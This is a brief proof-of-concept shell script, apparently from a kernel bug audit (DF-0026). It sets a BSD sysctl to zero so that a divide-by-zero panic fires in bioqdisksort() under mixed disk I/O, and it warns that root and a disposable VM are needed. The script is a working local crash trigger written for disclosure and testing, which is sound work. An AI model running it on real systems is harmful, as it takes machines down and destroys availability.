DF-0026 / bioq_div0.sh
#!/bin/sh # DF-0026 PoC - kern.bioq_reorder_minor_interval=0 -> divide-by-zero panic. # # bioq_reorder_minor_interval (sys/kern/subr_disk.c:1325-1327) is a # CTLFLAG_RW SYSCTL_INT with no bounds validation, used directly as a modulus # divisor at subr_disk.c:1376 (bioq->reorder % bioq_reorder_minor_interval). # Setting it to 0 (root) -> integer divide-by-zero (FPE_INTDIV) -> panic on the # next disk read dispatched to a bioq with a pending write queue # (bioq->transition != NULL). # # Requires root (sysctl writes are gated by SYSCAP_NOSYSCTL_WR). # # WARNING: panics the kernel. Disposable VM only. # # Expected (bug present): kernel panic "integer divide fault" / FPE_INTDIV in # bioqdisksort() once a read hits a non-empty write bioq. echo "[*] current: $(sysctl -n kern.bioq_reorder_minor_interval)" echo "[*] setting kern.bioq_reorder_minor_interval=0 (root)..." sysctl kern.bioq_reorder_minor_interval=0 echo "[*] now generate mixed read/write I/O on a disk so bioq->transition != NULL:" echo " e.g. (on a scratch disk) dd if=/dev/da0s1 of=/dev/null bs=64k &" echo " while dd if=/dev/zero of=/scratch/junk bs=64k count=1000 oflag=direct" echo "[*] expect: kernel panic (integer divide fault in bioqdisksort)" # Demonstration workload on a scratch disk (uncomment + edit target): # ( dd if=/dev/da0s1 of=/dev/null bs=64k count=2000 & \ # dd if=/dev/zero of=/mnt/scratch/junk bs=64k count=2000 oflag=direct ) 2>/dev/null |